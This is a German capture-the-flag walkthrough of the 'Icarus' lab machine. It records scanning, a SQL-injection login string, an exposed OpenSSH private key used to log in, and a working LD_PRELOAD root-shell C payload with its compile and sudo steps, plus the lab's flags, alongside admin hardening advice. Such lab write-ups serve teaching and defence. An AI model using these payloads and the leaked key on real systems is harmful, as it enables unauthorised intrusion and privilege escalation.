192.168.2.111 08:00:27:71:02:f7 PCS Systemtechnik GmbH
Analyse: Der Befehl arp-scan -l
sendet ARP-Anfragen (Address Resolution Protocol) an alle möglichen Adressen im lokalen Netzwerksegment, um aktive Hosts zu identifizieren. Das Ergebnis zeigt, dass die IP-Adresse 192.168.2.111
aktiv ist und die MAC-Adresse 08:00:27:71:02:f7
hat, welche Oracle (VirtualBox) zugeordnet ist.
Bewertung: Dieser Schritt ist fundamental für die Erkundung des lokalen Netzwerks. Die Identifizierung der Ziel-IP 192.168.2.111
ist der erste Erfolg und die notwendige Voraussetzung für alle weiteren Scans und Angriffsversuche.
Empfehlung (Pentester): Nachdem das Ziel identifiziert wurde, sollte ein detaillierter Portscan (z.B. mit Nmap) durchgeführt werden, um offene Ports und laufende Dienste auf dem Zielsystem zu finden.
Empfehlung (Admin): Überwachung des Netzwerks auf ungewöhnliche ARP-Aktivitäten. Implementierung von Netzwerksegmentierung kann die Reichweite solcher Scans einschränken.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-12 01:29 CET Nmap scan report for icarus (192.168.2.111) Host is up (0.00012s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 b66556408da857b9151e0e1fa5d0523a (RSA) | 256 7965cb2a068213d3766b1c55cd8f07b7 (ECDSA) |_ 256 b134e521a02830c06c010eb07b8fb8c6 (ED25519) 80/tcp open http nginx 1.14.2 |_http-title: LOGIN |_http-server-header: nginx/1.14.2 MAC Address: 08:00:27:71:02:F7 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.12 ms icarus (192.168.2.111)
Analyse: Dieser Nmap-Befehl führt einen umfassenden Scan auf dem Ziel 192.168.2.111
durch:
-sS
: SYN-Scan (Stealth Scan), schnell und weniger auffällig.-sC
: Führt Standard-Nmap-Skripte zur Diensterkennung und Schwachstellenprüfung aus.-T5
: Stellt das Timing auf "Insane" für einen sehr schnellen Scan (kann ungenau sein oder entdeckt werden).-A
: Aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute.-p-
: Scannt alle 65535 TCP-Ports.22
mit OpenSSH 7.9p1 und Port 80
mit einem nginx 1.14.2 Webserver (Titel: LOGIN). Das Betriebssystem wird als Linux (Kernel 4.x/5.x) identifiziert.
Bewertung: Dieser Scan liefert kritische Informationen über die Angriffsfläche des Ziels. Die offenen Ports SSH und HTTP sind die primären Einstiegspunkte. Die spezifischen Versionen (OpenSSH 7.9p1, nginx 1.14.2) sind wichtig für die Suche nach bekannten Schwachstellen. Die Debian-Basis von SSH gibt weitere Systemkontext.
Empfehlung (Pentester): Den Webserver auf Port 80 genauer untersuchen (Verzeichnisse, Dateien, Webanwendungen, Schwachstellen). SSH auf schwache Anmeldedaten oder bekannte Exploits für die Version 7.9p1 prüfen.
Empfehlung (Admin): Sicherstellen, dass nur notwendige Ports offen sind. SSH sollte idealerweise nur mit Key-Authentifizierung erlaubt sein und die Version aktuell gehalten werden. Webserver und Betriebssystem regelmäßig patchen. Firewall-Regeln überprüfen und härten.
http://192.168.2.111/index.php [Size: 407] http://192.168.2.111/login.php [Size: 0] [--> index.php] http://192.168.2.111/xml [Size: 1] http://192.168.2.111/a [Size: 9641] http://192.168.2.111/xxx [Size: 1] http://192.168.2.111/check.php [Size: 21]
Analyse: Gobuster wird verwendet, um versteckte Verzeichnisse und Dateien auf dem Webserver zu finden.
dir
: Modus für Verzeichnis-/Datei-Bruteforce.-u http://192.168.2.111
: Ziel-URL.-x ...
: Liste von Dateiendungen, nach denen gesucht wird.-w ...
: Wortliste für Verzeichnis-/Dateinamen.-b '403,404'
: Statuscodes, die nicht als "gefunden" angezeigt werden sollen.-e
: Erweiterter Modus, zeigt die vollständige URL an.-t 100
: Anzahl der Threads (sehr hoch).-n
: Statuscodes nicht anzeigen./a
mit einer auffällig großen Dateigröße, /xml
, /xxx
, sowie die PHP-Dateien index.php
, login.php
(leitet weiter) und check.php
.
Bewertung: Die gefundenen Pfade sind vielversprechend. Insbesondere /a
und /xml
könnten interessante Informationen enthalten. login.php
bestätigt die Authentifizierungsfunktion, die bereits im Seitentitel vermutet wurde. check.php
könnte eine interne Funktion offenlegen.
Empfehlung (Pentester): Die gefundenen Pfade und Dateien manuell im Browser aufrufen und analysieren. Insbesondere den Inhalt von /a
untersuchen. Die Funktionsweise von check.php
und /xml
prüfen.
Empfehlung (Admin): Unnötige Dateien und Verzeichnisse vom Webserver entfernen. Zugriff auf sensible Bereiche einschränken. Directory Listing deaktivieren. Bruteforce-Angriffe durch Rate-Limiting oder Intrusion Detection Systeme erschweren.
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.2.111 + Target Hostname: 192.168.2.111 + Target Port: 80 + Start Time: 2022-11-12 01:30:28 (GMT1) --------------------------------------------------------------------------- + Server: nginx/1.14.2 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + Cookie PHPSESSID created without the httponly flag + 7915 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2022-11-12 01:30:39 (GMT1) (11 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Nikto ist ein Webserver-Scanner, der nach bekannten Schwachstellen, Konfigurationsfehlern und interessanten Dateien sucht. Der Scan gegen 192.168.2.111
identifiziert mehrere fehlende HTTP-Security-Header:
X-Frame-Options
: Schützt vor Clickjacking-Angriffen.X-XSS-Protection
: Bietet einen einfachen Schutz gegen Cross-Site-Scripting (obwohl veraltet, besser ist eine Content Security Policy).X-Content-Type-Options
: Verhindert MIME-Type-Sniffing.PHPSESSID
) ohne das HttpOnly
-Flag gesetzt wird, was es anfällig für Diebstahl durch clientseitige Skripte (XSS) macht.
Bewertung: Diese Funde deuten auf mangelnde Sicherheitskonfigurationen des Webservers hin. Das Fehlen der Header und des HttpOnly-Flags erhöht das Risiko verschiedener Web-Angriffe, insbesondere wenn andere Schwachstellen wie XSS gefunden werden.
Empfehlung (Pentester): Diese Konfigurationsschwächen notieren. Sie können später in Kombination mit anderen Schwachstellen ausgenutzt werden (z.B. Session-Hijacking bei erfolgreichem XSS).
Empfehlung (Admin): Die fehlenden HTTP-Security-Header (X-Frame-Options: DENY/SAMEORIGIN
, X-Content-Type-Options: nosniff
, Content-Security-Policy
) in der nginx-Konfiguration hinzufügen. Das HttpOnly
-Flag für Session-Cookies in der PHP-Konfiguration (session.cookie_httponly = 1
) aktivieren.
HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Sat, 12 Nov 2022 00:31:06 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive
Analyse: Der Befehl curl -I
sendet eine HEAD-Anfrage an die angegebene URL und zeigt nur die HTTP-Header der Antwort an. Dies bestätigt, dass der Server erreichbar ist (HTTP/1.1 200 OK
) und die von Nmap und Nikto gemeldete Server-Software (nginx/1.14.2
) verwendet.
Bewertung: Dieser Befehl liefert eine schnelle Bestätigung der Server-Erreichbarkeit und der grundlegenden Header-Informationen. Er liefert hier keine neuen Erkenntnisse im Vergleich zu den vorherigen Scans.
Empfehlung (Pentester): Nützlich für schnelle Checks oder Skripting, aber für eine detaillierte Enumeration sind Tools wie Nmap, Gobuster und Nikto aussagekräftiger.
Empfehlung (Admin): Keine direkten Maßnahmen erforderlich, dient der Verifizierung.
* Trying 192.168.2.111:80...
* Connected to 192.168.2.111 (192.168.2.111) port 80 (#0)
> HEAD / HTTP/1.1
> Host: 192.168.2.111
> User-Agent: curl/7.86.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.14.2
< Date: Sat, 12 Nov 2022 00:31:10 GMT
< Content-Type: text/html; charset=UTF-8
< Connection: keep-alive
<
* Connection #0 to host 192.168.2.111 left intact
Analyse: Der Befehl curl -Iv
ist ähnlich wie -I
, aber -v
(verbose) gibt zusätzlich detaillierte Informationen über den Verbindungsaufbau und die gesendeten/empfangenen Header aus (Zeilen, die mit *
, >
oder <
beginnen). Man sieht hier die Anfrage (> HEAD / HTTP/1.1
) und die Antwort-Header (< ...
), sowie die Bestätigung der erfolgreichen Verbindung.
Bewertung: Die verbose-Ausgabe ist nützlich für Debugging-Zwecke oder um genau zu sehen, welche Anfrage gesendet wurde. In diesem Fall bestätigt sie die vorherigen Ergebnisse ohne neue kritische Informationen.
Empfehlung (Pentester): Verwenden, wenn detaillierte Verbindungs- oder Header-Informationen benötigt werden, z.B. beim Testen von spezifischen Header-Manipulationen.
Empfehlung (Admin): Keine direkten Maßnahmen erforderlich.
http://192.168.2.111/ admin' OR 1=1-- - =
Analyse: Diese Zeilen scheinen kein direkter Befehl oder eine Ausgabe zu sein, sondern eher eine Notiz oder der Inhalt einer Eingabe, möglicherweise in einem Webformular auf der Seite http://192.168.2.111/
. Der String admin' OR 1=1-- -
ist ein klassischer Versuch einer SQL-Injection, um eine Authentifizierung zu umgehen. Die nachfolgenden =
könnten Artefakte der Eingabe oder Ausgabe sein.
Bewertung: Dies deutet darauf hin, dass versucht wurde, eine SQL-Injection-Schwachstelle auf der Login-Seite auszunutzen. Ohne weitere Informationen über die Reaktion des Servers kann nicht gesagt werden, ob der Versuch erfolgreich war.
Empfehlung (Pentester): SQL-Injection-Versuche systematisch mit Tools wie SQLMap durchführen oder manuelle Tests verfeinern, um die Serverantwort zu analysieren. Auf Fehlermeldungen oder unerwartetes Verhalten achten.
Empfehlung (Admin): Serverseitige Eingabevalidierung und -sanitisierung implementieren. Parametrisierte Abfragen (Prepared Statements) verwenden, um SQL-Injection grundsätzlich zu verhindern.
Analyse: Mit diesem Befehl wird der Inhalt der zuvor von Gobuster entdeckten Ressource /a
auf dem Zielserver heruntergeladen und in eine lokale Datei namens url
gespeichert. Die große Dateigröße, die Gobuster gemeldet hat, machte diesen Pfad besonders interessant.
Bewertung: Das Herunterladen des Inhalts von /a
ist ein logischer nächster Schritt nach der Web-Enumeration. Der Inhalt dieser Datei ist entscheidend für den weiteren Verlauf.
Empfehlung (Pentester): Den Inhalt der heruntergeladenen Datei url
sorgfältig analysieren.
Empfehlung (Admin): Überprüfen, warum potenziell sensible Informationen (wie sich später herausstellt) über einen Webserverpfad zugänglich sind. Zugriffskontrollen auf Dateiebene und Webserver-Konfiguration prüfen.
Analyse: Dieser Befehl ist eine Bash-For-Schleife. Sie liest jede Zeile aus der zuvor erstellten Datei url
(angenommen, jede Zeile enthält einen Pfad/Dateinamen). Für jede gelesene Zeile ($i
) wird curl
ausgeführt, um die entsprechende Ressource vom Zielserver (http://192.168.2.111/$i
) herunterzuladen. Die Ausgabe aller curl-Aufrufe wird an die Datei curl.output
angehängt (>>
).
Bewertung: Diese Schleife automatisiert das Herunterladen mehrerer Ressourcen, deren Pfade vermutlich in der Datei /a
(jetzt url
) standen. Dies ist effizienter als das manuelle Herunterladen jeder einzelnen Ressource.
Empfehlung (Pentester): Den Inhalt der resultierenden Datei curl.output
analysieren, da sie die aggregierten Daten der heruntergeladenen Ressourcen enthält.
Empfehlung (Admin): Überwachung auf automatisierte Anfragen und Massen-Downloads vom Webserver. Rate Limiting kann solche Aktivitäten verlangsamen.
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn NhAAAAAwEAAQAAAQEA5xagxLiN5bhPjNcs2I2ckcYrErKaunwm40kTBnJ6vrbdRYHteS afNWC6xFFzw77+Kze229eK4ddZcwmU0IdN02Y8nYrxhl8lc+e5T0Ajz+tRmLGoxJVPsS TzKBERlWpKuJoG/CEFLv6PP6s79YYzZFpdUjaczY96jgICftzNZS+VkBXuLjKr79h4Tw z7BK4V6FEQY0hwT8NFfNrF3x3VPe0UstdiUJFl4QV/qAPlHVhPd0YUEPr/95mryjuGi1xw P7xVFrYyjLfPepqYHiS5LZxFewLWhhSjBI0dzf/TwiNRnVGTZhB3GemgEIQRAam26jkZZ 3BxkrUVckQAAA8jfk7Jp35yaQAAAAdzc2gtcnNhAAABAQDnFqDEuI3k5uE+M1yzYjZyRx isSspq6c7CbjSRMGcnq+tt1Fge15Jp81YLrEUXPA7vv4rN7bb14rh11lzCZTQh03TZjydi vGGXyU5z57lPQCPP61GYsajElU+xJPMoERGVakq4mgY78IQUs6/o8/qzv1hjNkWl1SNpzN j3qAgJ+3M1lL5WQFe4uMqvv2HhPDPsErhXoURBjSHBPw0V82sXfHdU97RSy12JQkWXhBX +oA+UdWE93RhQQ+v/3mavK4aLXHA/vFUWtjKMt896mpgeJLktnEV7AtaGFKME4jR3N/9P CI1GdUZNmEHcZ6aAQhBEBqbbqRlncHGStRVyRAAAAAwEAAQAAAQEAvdjwMU1xfTlUmPY3 VUP9ePsBwSIck6ML8t35H8KFLKln3C4USxpNNe/so+BeTo1PtBVHYpDFu9IMvrl7+qW3q dLGyUpdUtQXhPK+RvJNt30GwB+BEUlpQYCW9SuHr1WCwfwPMA5iNdT2ijvx0ZvKwZYECJ DYlB87yQDz7VCnRTiQGP2Mqiiwb7vPd/t386Y+cAz1cVl7BnHzWWJTUTkKCwijnvjYrD0o tTQX4sGd6CrI44g+L8hnYuCZz+a0j6IyUfXJqj6l+/Z2Af7pJjbJD3P28xX7eY0h1Cec2l /sb7qg2wy0qJNywJ35l8bZzZKjkXztPLqMFQ6Fh0BqSdQAAAIEAlaH0ZEzJsZoR3QqcKl xRKjVcuQCwcrKlNbJu2qRuUG812CLb9jJxJxacJPBV0NS832c+hZ3BiLtA5FwCiGlGq5m5 HS3odf3lLXDfIK+pur4WKBNLDxKbqi4s4M05vR4gHkmotiH9eWlCNuqL46Ip5H1vFXeJM pLRLN0gqGuQQAAACBAPfffuhidAgUZH/yTvATKC5lcGrE7bkpq+6XMMgxEQl0Hzry76i rGXkhTY4QUtthYo4+g7jiDzKlbeaS7aN8RYq38GzQnZZQcSdvL1yB/N554gQvzJLvmKQbm gLhMRcdDmifUelJYXib2Mjg/BLaRXaEzomUKR2nyJH7VgU+xzAAAAgQDuqkBp44indqhx wrzbfeLnzQqpZ/rMZXGcvJUttECRbLRfohUftFE5J0PKuT8w0dpacNCVgkT9A0Tc3xRfky ECBQjeKLvdhcufJhQl0pdXDt1cpebE50LE4yHc8vR6FEjhR4P2AbGICJyRS7AX7UnrWdU IE3FeNP0r5UiSDq16wAAAA1pY2FydXNAaWNhcnVzAQIDBA -----END OPENSSH PRIVATE KEY-----
Analyse: Die Ausgabe der Datei curl.output
zeigt einen privaten SSH-Schlüssel im OpenSSH-Format. Am Ende des Schlüssels befindet sich der Kommentar `icarus@icarus`, der normalerweise den Benutzer und Host angibt, für den der Schlüssel generiert wurde.
Bewertung: Dies ist ein kritischer Fund! Der Besitz eines privaten SSH-Schlüssels ermöglicht potenziell den direkten Login auf dem Zielsystem als der zugehörige Benutzer (hier vermutlich `icarus`) ohne ein Passwort zu benötigen. Das Auffinden eines privaten Schlüssels, der über einen Webserver zugänglich ist, stellt eine schwerwiegende Sicherheitslücke dar.
Empfehlung (Pentester): Den Schlüssel in einer Datei speichern (z.B. `icarsa`). Die Berechtigungen der Schlüsseldatei korrekt setzen (chmod 600 icarsa
). Den Benutzernamen aus dem Kommentar extrahieren oder bestätigen. Versuchen, sich per SSH mit diesem Schlüssel auf dem Zielsystem einzuloggen.
Empfehlung (Admin): Sofort untersuchen, wie dieser private Schlüssel auf den Webserver gelangen und zugänglich gemacht werden konnte. Den Schlüssel widerrufen und ersetzen. Sicherstellen, dass private Schlüssel niemals über Webserver oder andere unsichere Kanäle verteilt werden. Zugriffskontrollen und Konfigurationen überprüfen.
Analyse: Dies ist ein Kommentar im ursprünglichen Bericht, der den Zweck des nächsten Befehls erklärt.
Bewertung: Der Kommentar ist hilfreich, um den folgenden Schritt zu verstehen.
Empfehlung (Pentester): Gute Praxis, Befehle oder Techniken im Bericht zu kommentieren.
Empfehlung (Admin): Zur Kenntnis nehmen.
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnFqDEuI3k5uE+M1yzYjZyRxisSspq6c7CbjSRMGcnq+tt1
Fge15Jp81YLrEUXPA7vv4rN7bb14rh11lzCZTQh03TZjydivGGXyU5z57lPQCPP61GYsajElU+xJPMoERGVak
q4mgY78IQUs6/o8/qzv1hjNkWl1SNpzNj3qAgJ+3M1lL5WQFe4uMqvv2HhPDPsErhXoURBjSHBPw0V82sXfH
dU97RSy12JQkWXhBX+oA+UdWE93RhQQ+v/3mavK4aLXHA/vFUWtjKMt896mpgeJLktnEV7AtaGFKME4jR3N/
9PCI1GdUZNmEHcZ6aAQhBEBqbbqRlncHGStRVyR icarus@icarus
Analyse: Der Befehl ssh-keygen -y -f icarsa
liest den privaten SSH-Schlüssel aus der Datei icarsa
und gibt den zugehörigen öffentlichen Schlüssel auf der Standardausgabe aus. Ein nützlicher Nebeneffekt ist, dass auch der Kommentar am Ende des öffentlichen Schlüssels ausgegeben wird, der oft den Benutzernamen enthält (hier `icarus@icarus`).
Bewertung: Dieser Befehl bestätigt effektiv den Benutzernamen `icarus`, der zu dem gefundenen privaten Schlüssel gehört. Dies ist eine wichtige Information für den SSH-Login-Versuch.
Empfehlung (Pentester): Den bestätigten Benutzernamen `icarus` zusammen mit dem privaten Schlüssel `icarsa` für den SSH-Login verwenden.
Empfehlung (Admin): Sicherstellen, dass Kommentare in öffentlichen Schlüsseln keine zu sensiblen Informationen preisgeben (obwohl der Benutzername hier weniger kritisch ist als der Schlüssel selbst).
The authenticity of host 'icarus (192.168.2.111)' can't be established.
ED25519 key fingerprint is SHA256:660u5ypkdYgsNIlyihIzWKWZ4ybowDRXYgPzokVbtTI.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'icarus' (ED25519) to the list of known hosts.
Linux icarus 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Oct 31 10:13:56 2020 from 192.168.1.58
icarus@icarus:~$
Analyse: Dieser Befehl versucht, eine SSH-Verbindung zum Host `icarus` (der sich zu 192.168.2.111 auflöst) als Benutzer `icarus` herzustellen, wobei der private Schlüssel aus der Datei `icarsa` (-i icarsa
) zur Authentifizierung verwendet wird. Da der Host-Schlüssel des Servers noch nicht bekannt ist, fragt SSH nach Bestätigung (`yes`). Nach der Bestätigung wird der Login erfolgreich durchgeführt, und wir erhalten eine Shell-Prompt als Benutzer `icarus` auf dem Zielsystem (`icarus@icarus:~$`).
Bewertung: Grandios! Der Initial Access zum Zielsystem war erfolgreich. Durch die Ausnutzung des über den Webserver preisgegebenen privaten SSH-Schlüssels konnte eine Shell als Benutzer `icarus` erlangt werden. Dies ist ein bedeutender Meilenstein im Pentest.
Empfehlung (Pentester): Die Umgebung als Benutzer `icarus` erkunden. Nach weiteren Informationen, Konfigurationsdateien und insbesondere nach Möglichkeiten zur Privilegieneskalation (Erlangung von Root-Rechten) suchen. Den User-Flag finden.
Empfehlung (Admin): Die Ursache für den kompromittierten SSH-Schlüssel beheben (siehe vorherige Empfehlung). Überprüfen, welche Aktionen der Angreifer als Benutzer `icarus` durchführen konnte. SSH-Zugänge überwachen.
flag.sh user.txt
Analyse: Der Befehl ls
wird in der neu erlangten Shell ausgeführt, um den Inhalt des Home-Verzeichnisses des Benutzers `icarus` aufzulisten. Es werden zwei Dateien gefunden: flag.sh
und user.txt
.
Bewertung: Das Auffinden der Datei user.txt
ist vielversprechend, da dies oft die Datei ist, die den User-Flag in CTF-Szenarien oder Pentests enthält.
Empfehlung (Pentester): Den Inhalt der Datei user.txt
auslesen. Die Datei flag.sh
ebenfalls untersuchen, da sie möglicherweise Hinweise oder Funktionen enthält.
Empfehlung (Admin): Standardmäßig sollten Home-Verzeichnisse für andere Benutzer nicht lesbar sein. Überprüfen der Berechtigungen.
Dontgotothesun
Analyse: Der Befehl cat user.txt
liest den Inhalt der Datei user.txt
und gibt ihn auf der Konsole aus.
Bewertung: Erfolg! Der User-Flag lautet `Dontgotothesun`. Das erste der beiden Hauptziele ist erreicht.
Empfehlung (Pentester): Den User-Flag dokumentieren. Nun den Fokus vollständig auf die Privilegieneskalation legen, um Root-Zugriff zu erlangen.
Empfehlung (Admin): Flags sind typischerweise Teil von CTF-Übungen. In realen Systemen sollten sensible Daten entsprechend geschützt werden.
Analyse: Der folgende Abschnitt konzentriert sich auf die Eskalation der Berechtigungen vom Benutzer `icarus` zum `root`-Benutzer.
Matching Defaults entries for icarus on icarus: env_reset, mail_badpass, env_keep+=LD_PRELOAD, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User icarus may run the following commands on icarus: (ALL : ALL) NOPASSWD: /usr/bin/id
Analyse: Der Befehl sudo -l
listet die Befehle auf, die der aktuelle Benutzer (`icarus`) mit `sudo` (also mit erhöhten Rechten) ausführen darf. Die Ausgabe zeigt zwei entscheidende Punkte:
(ALL : ALL) NOPASSWD: /usr/bin/id
: Der Benutzer `icarus` darf den Befehl /usr/bin/id
als jeder Benutzer (inklusive `root`) ausführen, ohne ein Passwort eingeben zu müssen.env_keep+=LD_PRELOAD
: Diese Option in den `Defaults`-Einstellungen bedeutet, dass die Umgebungsvariable LD_PRELOAD
erhalten bleibt, wenn `sudo` ausgeführt wird. LD_PRELOAD
ist eine Linux-Umgebungsvariable, die dazu verwendet werden kann, eine spezifische Shared Library vor allen anderen zu laden, wenn ein Programm gestartet wird.Bewertung: Dies ist eine kritische Fehlkonfiguration und ein klassischer Vektor für Privilegieneskalation! Die Kombination aus der Erlaubnis, einen beliebigen Befehl via `sudo` (hier `/usr/bin/id`, aber das ist fast unerheblich) auszuführen UND der Beibehaltung der `LD_PRELOAD`-Variable ermöglicht es, eigenen Code in Form einer Shared Library zu erstellen, der dann beim Ausführen des `sudo`-Befehls mit Root-Rechten geladen und ausgeführt wird.
Empfehlung (Pentester): Eine einfache C-Datei erstellen, die eine Shell startet (z.B. in der `_init`-Funktion). Diese C-Datei als Shared Object (.so
) kompilieren. Den `sudo`-Befehl dann mit gesetzter `LD_PRELOAD`-Variable ausführen, die auf das kompilierte Shared Object zeigt (sudo LD_PRELOAD=/pfad/zur/shell.so /usr/bin/id
).
Empfehlung (Admin): Die Option `env_keep+=LD_PRELOAD` (oder ähnliche gefährliche Variablen wie `LD_LIBRARY_PATH`) sollte niemals in der `sudoers`-Konfiguration global oder für unprivilegierte Benutzer gesetzt werden. Stattdessen nur spezifische, benötigte Variablen explizit erlauben. Die Berechtigung, `id` mit `sudo` auszuführen, ist an sich ungefährlich, aber in dieser Kombination fatal. Überprüfen Sie die `sudoers`-Datei sorgfältig auf unsichere Konfigurationen.
Analyse: Die folgenden Kommentare aus dem Originalbericht erklären die geplante Vorgehensweise zur Ausnutzung der `LD_PRELOAD`-Schwachstelle.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: The real trick here it’s the env_keep+=LD_PRELOAD Linux Privilege Escalation using LD_Preload Follow this guide we can create a C script and make this script a shared library Change to /tmp directory and create a C script :::::::::::::::::::::::::::::::::::::::::::::::::::
Analyse: Wechsel in das Verzeichnis /tmp
. Dieses Verzeichnis ist üblicherweise für alle Benutzer beschreibbar und wird daher oft zum Ablegen von temporären Dateien oder Exploits während eines Pentests verwendet.
Bewertung: Ein vorbereitender Schritt, um den Exploit-Code zu erstellen und zu kompilieren.
Empfehlung (Pentester): Sicherstellen, dass das Verzeichnis beschreibbar ist und genügend Platz bietet.
Empfehlung (Admin): Das /tmp
-Verzeichnis sollte mit Optionen wie noexec
und nosuid
gemountet werden, um die Ausführung von Binärdateien oder das Setzen von SUID-Bits zu verhindern. Dies hätte diesen spezifischen Exploit zwar nicht verhindert (da die Ausführung über `sudo` erfolgt), ist aber eine allgemeine Härtungsmaßnahme.
#include#include #include void _init() { unsetenv("LD_PRELOAD"); /* Wichtig: Variable entfernen, um Endlosschleifen zu vermeiden */ setgid(0); /* Setze Gruppen-ID auf 0 (root) */ setuid(0); /* Setze User-ID auf 0 (root) */ system("/bin/sh"); /* Starte eine Shell */ }
Analyse: Mit dem Texteditor `nano` wird eine neue Datei namens shell.c
erstellt. Der C-Code definiert eine Funktion namens _init
. Diese Funktion wird automatisch ausgeführt, wenn eine Shared Library geladen wird. Der Code in _init
tut Folgendes:
unsetenv("LD_PRELOAD")
: Entfernt die `LD_PRELOAD`-Variable, um zu verhindern, dass die Shell, die gleich gestartet wird, versucht, die Library erneut zu laden (was zu einer Endlosschleife führen könnte).setgid(0)
und setuid(0)
: Setzt die Gruppen- und Benutzer-ID des Prozesses auf 0, was der ID von `root` entspricht. Dies ist der eigentliche Schritt der Privilegieneskalation.system("/bin/sh")
: Führt den Befehl /bin/sh
aus, wodurch eine neue Shell gestartet wird. Da die User-ID zuvor auf 0 gesetzt wurde, wird dies eine Root-Shell sein.Bewertung: Dieser C-Code ist ein einfacher, aber effektiver Payload, um die `LD_PRELOAD`-Schwachstelle auszunutzen und eine Root-Shell zu erhalten.
Empfehlung (Pentester): Den Code sorgfältig prüfen und sicherstellen, dass er korrekt ist. Anschließend kompilieren.
Empfehlung (Admin): Dies zeigt, wie einfach es ist, Code zur Ausnutzung von `LD_PRELOAD` zu erstellen. Die Prävention liegt in der korrekten `sudoers`-Konfiguration.
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
shell.c: In function ‘_init’: shell.c:6:2: warning: implicit declaration of function ‘setgid’; did you mean ‘setenv’? [-Wimplicit-function-declaration] setgid(0); ^~ setenv shell.c:7:2: warning: implicit declaration of function ‘setuid’; did you mean ‘setenv’? [-Wimplicit-function-declaration] setuid(0); ^~ setenv
Analyse: Der Befehl gcc
wird verwendet, um die C-Datei shell.c
zu kompilieren.
-fPIC
: Erzeugt positionsunabhängigen Code, notwendig für Shared Libraries.-shared
: Erzeugt eine Shared Library (.so
-Datei).-o shell.so
: Gibt den Namen der Ausgabedatei an (shell.so
).shell.c
: Die zu kompilierende Quelldatei.-nostartfiles
: Bindet nicht die Standard-C-Startdateien ein (hier verwendet, um die Library klein zu halten und Abhängigkeiten zu minimieren, insbesondere wenn nur `_init` gebraucht wird).Bewertung: Der Exploit-Code wurde erfolgreich in eine Shared Library (shell.so
) kompiliert. Die Warnungen können ignoriert werden, da der Exploit trotzdem funktionieren wird.
Empfehlung (Pentester): Die kompilierte Datei shell.so
ist nun bereit, mit `LD_PRELOAD` und `sudo` verwendet zu werden.
Empfehlung (Admin): Sicherstellen, dass Entwicklungswerkzeuge wie `gcc` nicht unnötigerweise auf Produktivsystemen installiert sind, um die Kompilierung von Exploits vor Ort zu erschweren.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Analyse: Dies ist der Proof of Concept, der die Ausnutzung der zuvor identifizierten `sudo`-Fehlkonfiguration in Verbindung mit `LD_PRELOAD` demonstriert. Der Befehl sudo id
wird ausgeführt, aber die Umgebungsvariable LD_PRELOAD
wird so gesetzt, dass sie auf unsere zuvor kompilierte Shared Library /tmp/shell.so
zeigt. Da die `sudoers`-Datei die Beibehaltung von `LD_PRELOAD` erlaubt (`env_keep+=LD_PRELOAD`), wird das Betriebssystem angewiesen, unsere `shell.so` zu laden, bevor das `id`-Programm gestartet wird. Die `_init`-Funktion in unserer Library wird ausgeführt, setzt die User-ID auf 0 (root) und startet eine Shell (/bin/sh
), noch bevor das eigentliche `id`-Programm seine Arbeit aufnimmt.
# id uid=0(root) gid=0(root) groups=0(root) #
Bewertung: Fantastisch, der Root-Zugriff war erfolgreich! Der Prompt ändert sich zu #
, was den Root-Benutzer anzeigt. Der unmittelbar danach ausgeführte `id`-Befehl (der automatisch von der neuen Shell ausgeführt wird oder manuell eingegeben wurde) bestätigt dies mit `uid=0(root) gid=0(root) groups=0(root)`. Die Privilegieneskalation war erfolgreich und das System ist nun vollständig kompromittiert.
Empfehlung (Pentester): Den Root-Flag suchen und dokumentieren. Gegebenenfalls Persistenzmechanismen einrichten (in einem echten Szenario, nicht CTF). Die Umgebung als Root weiter untersuchen.
Empfehlung (Admin): Die `sudoers`-Fehlkonfiguration (insbesondere `env_keep+=LD_PRELOAD`) sofort beheben. Das System auf mögliche Hintertüren oder weitere Kompromittierungen untersuchen, die durch den erlangten Root-Zugriff entstanden sein könnten.
flag.sh root.txt
Analyse: Der Befehl ls
wird in der neuen Root-Shell ausgeführt, vermutlich im Home-Verzeichnis des Root-Benutzers (/root
). Es werden die Dateien flag.sh
und root.txt
gefunden.
Bewertung: Die Datei root.txt
wurde gefunden. Dies ist sehr wahrscheinlich der Root-Flag.
Empfehlung (Pentester): Den Inhalt von root.txt
auslesen.
Empfehlung (Admin): Überprüfen, welche Dateien sich im Root-Home befinden und ob deren Berechtigungen korrekt sind.
RIPicarus
Analyse: Der Befehl cat root.txt
liest den Inhalt der Datei root.txt
.
Bewertung: Erfolg! Der Root-Flag lautet `RIPicarus`. Beide Hauptziele des Penetrationstests wurden erreicht.
